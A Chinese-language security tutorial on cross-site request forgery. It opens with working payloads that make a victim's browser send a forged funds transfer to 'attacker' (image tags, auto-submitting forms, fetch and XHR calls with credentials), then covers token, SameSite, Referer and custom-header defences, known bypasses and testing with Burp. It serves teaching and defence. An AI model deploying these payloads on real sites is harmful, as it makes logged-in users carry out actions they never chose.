利用用户身份发起伪造请求:原理、利用与防御
跨站请求伪造(Cross-Site Request Forgery, CSRF)利用浏览器自动携带Cookie的特性,诱导用户在已认证的状态下执行非预期的操作。攻击者构造恶意页面,当受害者访问时,浏览器自动带上目标网站的Cookie发起请求。
# GET请求修改数据(设计缺陷!)
# 正常请求: GET /transfer?to=alice&amount=1000
# 攻击者构造恶意链接:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
# 图片加载时自动发送GET请求,浏览器携带Cookie
# 也可以用其他标签:
<link rel="stylesheet" href="https://bank.com/transfer?to=attacker&amount=10000">
<iframe src="https://bank.com/transfer?to=attacker&amount=10000">
<script src="https://bank.com/transfer?to=attacker&amount=10000">
# 鱼叉钓鱼邮件中的CSRF
<a href="https://bank.com/transfer?to=attacker&amount=10000">
点击领取优惠券
</a>
# POST请求同样可以被伪造
# 自动提交的表单:
<html>
<body>
<h1>恭喜中奖!</h1>
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="memo" value="gift">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
# 使用fetch API的CSRF
<script>
fetch("https://bank.com/transfer", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "to=attacker&amount=10000",
credentials: "include" // 携带Cookie
});
</script>
# 使用XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://bank.com/transfer", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("to=attacker&amount=10000");
</script>
# 针对JSON API的CSRF
# 某些API接受JSON格式数据
<script>
fetch("https://api.bank.com/transfer", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({to: "attacker", amount: 10000}),
credentials: "include"
});
</script>
# 注意: 某些浏览器对跨域JSON请求有CORS限制
# 但如果服务器CORS配置宽松,CSRF仍然有效
# CSRF Token原理
# 1. 服务器为每个会话/表单生成随机Token
# 2. Token嵌入表单的hidden字段
# 3. 提交时验证Token是否匹配
# 生成CSRF Token (Python/Flask)
from flask_wtf.csrf import CSRFProtect
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# 模板中自动包含Token
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# 生成Token (Python手动)
import secrets
csrf_token = secrets.token_hex(32)
# 示例: 31ed359343fae2704064573e5fca961ba4c39969d1ce5923ebcb97dc1d33
# Django内置CSRF保护
# 自动为POST表单添加Token
# <form method="post">
# {% csrf_token %}
# ...
# </form>
# Spring Security CSRF
# 自动为每个会话生成Token
# <input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}">
# 验证CSRF Token
# 服务器端验证提交的Token与Session中存储的Token是否一致
# 不匹配则拒绝请求
# SameSite属性控制跨站请求是否携带Cookie
# Strict: 完全不允许跨站发送Cookie(最安全,可能影响用户体验)
Set-Cookie: session=abc; SameSite=Strict
# Lax: GET导航请求允许,POST/iframe/fetch不允许(推荐平衡方案)
Set-Cookie: session=abc; SameSite=Lax
# None: 允许跨站发送(必须配合Secure属性)
Set-Cookie: session=abc; SameSite=None; Secure
# 推荐配置
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
# Nginx配置
proxy_cookie_flags ~ samesite=lax secure httponly;
# Apache配置
Header always edit Set-Cookie ^(.*)$ "$1; SameSite=Lax; Secure; HttpOnly"
# 检查HTTP Referer头
# 确保请求来自合法的源
# Python/Flask示例
from flask import request, abort
@app.before_request
def check_referer():
if request.method == 'POST':
referer = request.headers.get('Referer', '')
origin = request.headers.get('Origin', '')
if not referer.startswith('https://yourdomain.com') and \
not origin == 'https://yourdomain.com':
abort(403)
# 注意: Referer可能被隐私设置或安全软件去除
# 不应作为唯一的CSRF防御手段
# AJAX请求添加自定义Header
# 浏览器跨域请求自定义Header需要CORS预检
# CSRF无法触发预检请求
# 前端代码
fetch("/api/transfer", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest", // 经典标记
"X-CSRF-Protection": "1" // 自定义头
},
body: JSON.stringify(data)
});
# 服务器验证
@app.before_request
def check_custom_header():
if request.method in ('POST', 'PUT', 'DELETE'):
if not request.headers.get('X-Requested-With'):
abort(403)
# 1. Token验证缺失
# 某些接口忘记验证Token
# 2. Token可预测
# 使用时间戳或简单递增作为Token
# 3. Token固定
# 同一Token可重复使用,攻击者先获取Token再构造请求
# 4. Referer检查绕过
# 如果只检查Referer是否包含域名:
# https://evil.com?yourdomain.com 可以绕过
# 正确做法: 严格检查Referer的Origin部分
# 5. JSON Content-Type绕过
# 某些框架只对form-urlencoded验证CSRF
# 改用application/json可能绕过
# 6. SameSite=None
# 如果Cookie设置了SameSite=None,CSRF仍然可行
# 7. 子域名攻击
# 如果子域名被攻破,可以从子域名发起CSRF
# 因为Cookie默认对子域名有效
# CSRF Tester
# 浏览器扩展: CSRF Detective
# Burp Suite
# 1. 拦截请求
# 2. 移除CSRF Token参数
# 3. 重放请求
# 4. 如果成功 → CSRF漏洞
# 手动检测步骤
# 1. 登录目标网站
# 2. 找到状态修改请求(POST/PUT/DELETE)
# 3. 检查是否有CSRF Token
# 4. 检查Cookie的SameSite属性
# 5. 检查Referer/Origin验证
# 6. 构造PoC验证
# 自动化CSRF PoC生成器
# https://csrfpoc.com/
# Burp Suite → Engagement Tools → Generate CSRF PoC
# 1. 状态修改必须使用POST/PUT/DELETE
# 永远不要用GET修改数据
# 2. 部署多层防御
# CSRF Token + SameSite Cookie + Referer检查
# 3. 关键操作二次验证
# 转账/修改密码等要求输入当前密码或验证码
# 4. 会话超时
# 不活跃会话及时过期
# 5. API设计
# RESTful API: 正确使用HTTP方法
# 修改操作必须POST/PUT/DELETE
# CORS配置: 不要使用 Access-Control-Allow-Origin: *